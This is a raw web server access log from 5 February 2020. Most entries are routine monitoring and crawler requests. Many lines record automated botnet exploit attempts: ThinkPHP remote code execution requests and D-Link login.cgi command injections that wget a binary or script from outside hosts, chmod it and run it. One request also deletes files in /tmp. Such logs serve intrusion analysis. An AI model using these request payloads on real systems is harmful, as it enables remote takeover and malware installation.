212.91.246.72 - - [05/Feb/2020:12:30:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:31:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.95.104.174 - - [05/Feb/2020:12:31:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:32:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
105.247.159.6 - - [05/Feb/2020:12:32:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:12:33:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.181.221.207 - - [05/Feb/2020:12:33:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.123.145 - - [05/Feb/2020:12:34:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.121.0.69 - - [05/Feb/2020:12:34:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [05/Feb/2020:12:34:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [05/Feb/2020:12:34:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [05/Feb/2020:12:34:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:12:34:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [05/Feb/2020:12:35:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
2.132.37.104 - - [05/Feb/2020:12:35:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:35:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.193.91.39 - - [05/Feb/2020:12:36:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.113.62 - - [05/Feb/2020:12:36:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:36:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:37:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:38:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.97.204 - - [05/Feb/2020:12:39:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:39:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:40:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:41:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.219.176.35 - - [05/Feb/2020:12:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [05/Feb/2020:12:42:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.7.139 - - [05/Feb/2020:12:42:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.241.103.83 - - [05/Feb/2020:12:43:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:43:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:45:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.22.38.165 - - [05/Feb/2020:12:46:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:46:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.112.180.41 - - [05/Feb/2020:12:47:11 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
5.101.0.209 - - [05/Feb/2020:12:47:44 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:12:47:45 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:12:47:45 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:12:47:45 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:12:47:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [05/Feb/2020:12:48:32 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:12:48:32 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:12:48:32 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:12:48:32 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:12:48:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [05/Feb/2020:12:48:59 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:12:48:59 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:12:48:59 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:12:48:59 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:12:49:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:50:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.68 - - [05/Feb/2020:12:51:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:51:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:52:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:53:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.191.134.206 - - [05/Feb/2020:12:53:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:54:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:55:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.109.172.246 - - [05/Feb/2020:12:55:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
157.55.39.68 - - [05/Feb/2020:12:56:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
110.138.149.23 - - [05/Feb/2020:12:56:37 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [05/Feb/2020:12:56:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.193.53.230 - - [05/Feb/2020:12:57:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [05/Feb/2020:12:57:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.209.85 - - [05/Feb/2020:12:57:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.90.216.156 - - [05/Feb/2020:12:58:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:58:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.255.239.85 - - [05/Feb/2020:12:58:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:59:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.155.136 - - [05/Feb/2020:13:00:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:13:00:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:01:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:02:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [05/Feb/2020:13:03:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:13:03:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:04:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:05:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:06:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.162.185.125 - - [05/Feb/2020:13:07:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
2.134.106.73 - - [05/Feb/2020:13:07:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.88.54.7 - - [05/Feb/2020:13:07:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.5.212.211 - - [05/Feb/2020:13:07:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:13:07:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:08:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:09:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.189.155 - - [05/Feb/2020:13:10:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
200.53.28.83 - - [05/Feb/2020:13:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.113.229.91 - - [05/Feb/2020:13:10:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:13:10:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:11:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.120.161.192 - - [05/Feb/2020:13:11:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:13:12:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.220.98.192 - - [05/Feb/2020:13:13:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:13:13:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:14:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.220.151.43 - - [05/Feb/2020:13:15:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:13:15:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.154.64.227 - - [05/Feb/2020:13:16:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.36.149.13 - - [05/Feb/2020:13:16:27 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.148.37 - - [05/Feb/2020:13:16:28 +0100] "GET /seiten/fahrlehrerwesen.htm HTTP/1.1" 404 343 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [05/Feb/2020:13:16:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.106.12.160 - - [05/Feb/2020:13:17:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:13:17:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:18:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:19:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:20:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:21:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [05/Feb/2020:13:22:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [05/Feb/2020:13:22:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.99.65.56 - - [05/Feb/2020:13:22:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
27.216.245.215 - - [05/Feb/2020:13:23:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [05/Feb/2020:13:23:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:24:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:25:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.182.63.32 - - [05/Feb/2020:13:26:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:13:26:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.228.161.100 - - [05/Feb/2020:13:27:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:13:27:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
